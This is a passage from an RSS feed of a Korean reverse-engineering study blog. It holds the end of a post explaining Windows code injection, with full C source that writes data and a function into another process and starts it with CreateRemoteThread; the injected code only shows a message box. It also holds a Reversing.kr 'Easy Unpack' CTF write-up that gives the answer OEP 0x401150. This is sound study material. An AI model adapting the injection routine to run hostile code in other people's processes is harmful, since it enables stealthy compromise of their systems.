<li>별도의 DLL 파일 없이 &#39;Code Injector 프로그램&#39;만 있으면 가능</li>
</ol>
<hr>
<h2 id="📌-코드-분석">📌 코드 분석</h2>
<p>ThreadProc()</p>
<pre><code>typedef struct _THREAD_PARAM 
{
    FARPROC pFunc[2];               // LoadLibraryA(), GetProcAddress()
    char    szBuf[4][128];          // &quot;user32.dll&quot;, &quot;MessageBoxA&quot;, &quot;www.reversecore.com&quot;, &quot;ReverseCore&quot;
} THREAD_PARAM, *PTHREAD_PARAM;

typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
    LPCSTR lpLibFileName
);

typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
    HMODULE hModule,
    LPCSTR lpProcName
);

typedef int (WINAPI *PFMESSAGEBOXA)
(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
);

DWORD WINAPI ThreadProc(LPVOID lParam)
{
    PTHREAD_PARAM   pParam      = (PTHREAD_PARAM)lParam;
    HMODULE         hMod        = NULL;
    FARPROC         pFunc       = NULL;

    // LoadLibrary()
    hMod = ((PFLOADLIBRARYA)pParam-&gt;pFunc[0])(pParam-&gt;szBuf[0]);    // &quot;user32.dll&quot;
    if( !hMod )
        return 1;

    // GetProcAddress()
    pFunc = (FARPROC)((PFGETPROCADDRESS)pParam-&gt;pFunc[1])(hMod, pParam-&gt;szBuf[1]);  // &quot;MessageBoxA&quot;
    if( !pFunc )
        return 1;

    // MessageBoxA()
    ((PFMESSAGEBOXA)pFunc)(NULL, pParam-&gt;szBuf[2], pParam-&gt;szBuf[3], MB_OK);

    return 0;
}</code></pre><p>ThreadProc() 함수를 보면 직접 API를 호출하지 않는다. 문자열도 직접 정의해서 사용하지 않는다. 전부 스레드 파라미터로 넘어온 <code>THREAD_PARAM</code> 구조체에서 가져다 사용한다.</p>
<pre><code>BOOL InjectCode(DWORD dwPID)
{
    HMODULE         hMod            = NULL;
    THREAD_PARAM    param           = {0,};
    HANDLE          hProcess        = NULL;
    HANDLE          hThread         = NULL;
    LPVOID          pRemoteBuf[2]   = {0,};
    DWORD           dwSize          = 0;

    hMod = GetModuleHandleA(&quot;kernel32.dll&quot;);

    // set THREAD_PARAM
    param.pFunc[0] = GetProcAddress(hMod, &quot;LoadLibraryA&quot;);
    param.pFunc[1] = GetProcAddress(hMod, &quot;GetProcAddress&quot;);
    strcpy_s(param.szBuf[0], &quot;user32.dll&quot;);
    strcpy_s(param.szBuf[1], &quot;MessageBoxA&quot;);
    strcpy_s(param.szBuf[2], &quot;www.reversecore.com&quot;);
    strcpy_s(param.szBuf[3], &quot;ReverseCore&quot;);

    // Open Process
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,   // dwDesiredAccess
                                  FALSE,                // bInheritHandle
                                  dwPID)) )             // dwProcessId
    {
        printf(&quot;OpenProcess() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    // Allocation for THREAD_PARAM
    dwSize = sizeof(THREAD_PARAM);
    if( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,          // hProcess
                                      NULL,                 // lpAddress
                                      dwSize,               // dwSize
                                      MEM_COMMIT,           // flAllocationType
                                      PAGE_READWRITE)) )    // flProtect
    {
        printf(&quot;VirtualAllocEx() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    if( !WriteProcessMemory(hProcess,                       // hProcess
                            pRemoteBuf[0],                  // lpBaseAddress
                            (LPVOID)&amp;param,                 // lpBuffer
                            dwSize,                         // nSize
                            NULL) )                         // [out] lpNumberOfBytesWritten
    {
        printf(&quot;WriteProcessMemory() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    // Allocation for ThreadProc()
    dwSize = (DWORD)InjectCode - (DWORD)ThreadProc;
    if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,          // hProcess
                                      NULL,                 // lpAddress
                                      dwSize,               // dwSize
                                      MEM_COMMIT,           // flAllocationType
                                      PAGE_EXECUTE_READWRITE)) )    // flProtect
    {
        printf(&quot;VirtualAllocEx() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    if( !WriteProcessMemory(hProcess,                       // hProcess
                            pRemoteBuf[1],                  // lpBaseAddress
                            (LPVOID)ThreadProc,             // lpBuffer
                            dwSize,                         // nSize
                            NULL) )                         // [out] lpNumberOfBytesWritten
    {
        printf(&quot;WriteProcessMemory() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    if( !(hThread = CreateRemoteThread(hProcess,            // hProcess
                                       NULL,                // lpThreadAttributes
                                       0,                   // dwStackSize
                                       (LPTHREAD_START_ROUTINE)pRemoteBuf[1],     // dwStackSize
                                       pRemoteBuf[0],       // lpParameter
                                       0,                   // dwCreationFlags
                                       NULL)) )             // lpThreadId
    {
        printf(&quot;CreateRemoteThread() fail : err_code = %d\n&quot;, GetLastError());
        return FALSE;
    }

    WaitForSingleObject(hThread, INFINITE);    

    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}</code></pre><p>InjectCode() 함수의 앞 부분은 <code>THREAD_PARAM</code> 구조체 변수를 세팅하고 있다. </p>
<p>핵심 흐름은 아래와 같다.</p>
<pre><code>OpenProcess()

// data : THREAD_PARAM
VirtualAllocEx()
WriteProcessMemory()

// code : ThreadProc()
VirtualAllocEx()
WriteProcessMemory()

CreateRemoteThread()</code></pre><p>상대방 프로세스에 data와 code를 각각 메모리에 할당하고 인젝션하는 게 Code Injection의 핵심이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Reversing.kr] Easy Unpack]]></title>
            <link>https://velog.io/@1issang_h/Reversing.kr-Easy-Unpack</link>
            <guid>https://velog.io/@1issang_h/Reversing.kr-Easy-Unpack</guid>
            <pubDate>Fri, 10 Jan 2025 09:34:51 GMT</pubDate>
            <description><![CDATA[<p>이번 문제는 내가 지금까지 공부했던 Packer의 지식을 이용하는 문제라 재미있을 것 같아서 해보았다.
문제에서 구하고자 하는 것은 OEP가 어디인지 파악하는 것이다.</p>
<h2 id="📌-사전-분석">📌 사전 분석</h2>
<p>코드를 분석하기 앞서 이 파일이 어떤 패커로 패킹이 되었는지 DIE(Detect-It-Easy)로 확인해 보았다.
<img src="https://velog.velcdn.com/images/1issang_h/post/bcf6b825-96c0-4af6-8722-9b2cbf6e6a61/image.png" alt="">
Imports like UPX로 되어있는 것 보아 UPX인 것 같다. 근데 PEView로 보면 PE 파일 포맷이 아래와 같다.
<img src="https://velog.velcdn.com/images/1issang_h/post/af6483db-981e-4ecf-a553-3ae04a28cbc9/image.png" alt="">
분명 UPX의 파일 포맷은 .upx0, .upx1 이었던 것 같은데 저 이상한 Section_Header들(Gogi , GWan)을 보니 upx는 아닌 것 같고 제작자가 별도로 커스텀해서 패킹한 파일인 것 같다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/7040dd7f-6b98-4fde-a487-3aa49e3700ea/image.png" alt="">
그리고 PE Image는 위와 같이 로딩되었다.</p>
<h2 id="📌-코드-분석">📌 코드 분석</h2>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/3e86d9b1-9bb9-4470-9098-6224b1d1e970/image.png" alt="">
코드의 시작은 아래와 같다. 
1.
<img src="https://velog.velcdn.com/images/1issang_h/post/e4f96fc7-fec8-4648-b77a-717ee7dceea8/image.png" alt="">
코드를 쭉 읽다보면 해당 반복문이 나온다. 409000부터 적혀있는 값들에 대해 0x10,0x20,0x30,0x40,0x50을 순서대로 XOR 해준다.</p>
<p><img src="https://velog.velcdn.com/images/1issang_h/post/00185533-060a-4610-b09a-069a275417f9/image.png" alt="">
이 값들 어디서 많이 본 것 같은데...? 해서 보니 아까 봤던 이상한 섹션 헤더 값이다.
<img src="https://velog.velcdn.com/images/1issang_h/post/7a249c76-655d-47ab-b761-fedcdb0e6dbb/image.png" alt="">
이 과정이 디코딩 하는 과정으로 추측된다.</p>
<p>2.
<img src="https://velog.velcdn.com/images/1issang_h/post/aa5f7214-bdf1-4936-9ca9-1e2a1fb1c3c2/image.png" alt="">
이 코드 과정을 진행하다 보면 계속 반복됨을 알 수 있는데, 이 과정은 IAT값을 세팅하는 과정이다.</p>
<ol start="3">
<li><img src="https://velog.velcdn.com/images/1issang_h/post/2a61015f-bb35-424a-bf42-cbc795864871/image.png" alt="">
이후에 과정에서 1과 같이 다시 디코딩하는 과정이 나온다. 이 때 ecx는 0x401000을 가리키는 데 해당 주소는 .text 영역이다.</li>
</ol>
<p>4.
<img src="https://velog.velcdn.com/images/1issang_h/post/bbefd733-7eed-4121-981d-03587c463c4c/image.png" alt="">
이후 디코딩 과정이 한 번 더 나온다. 이 때 ecx는 0x406000을 가리키는데 해당 주소는 .data 영역이다.</p>
<ol start="5">
<li><img src="https://velog.velcdn.com/images/1issang_h/post/10572711-1579-4100-9d81-1da3447f8b2a/image.png" alt="">
마지막에 jmp 401150이 있는데 이 주소를 타고 가면 아래의 코드가 나오고
<img src="https://velog.velcdn.com/images/1issang_h/post/627285df-86be-40d0-9d40-b57eb537ce62/image.png" alt=""></li>
</ol>
<p>push ebp, mov ebp,esp와 같은 함수 프롤로그를 보니까 401150이 OEP라는 것을 알 수 있다.
결론 : OEP = 0x401150</p>
<hr>
<p>디코딩 하는 과정만 제대로 읽고 넘어갈 줄 알면 쉽게 풀리는 문제였다.</p>
]]></description>
        </item>
    </channel>
</rss>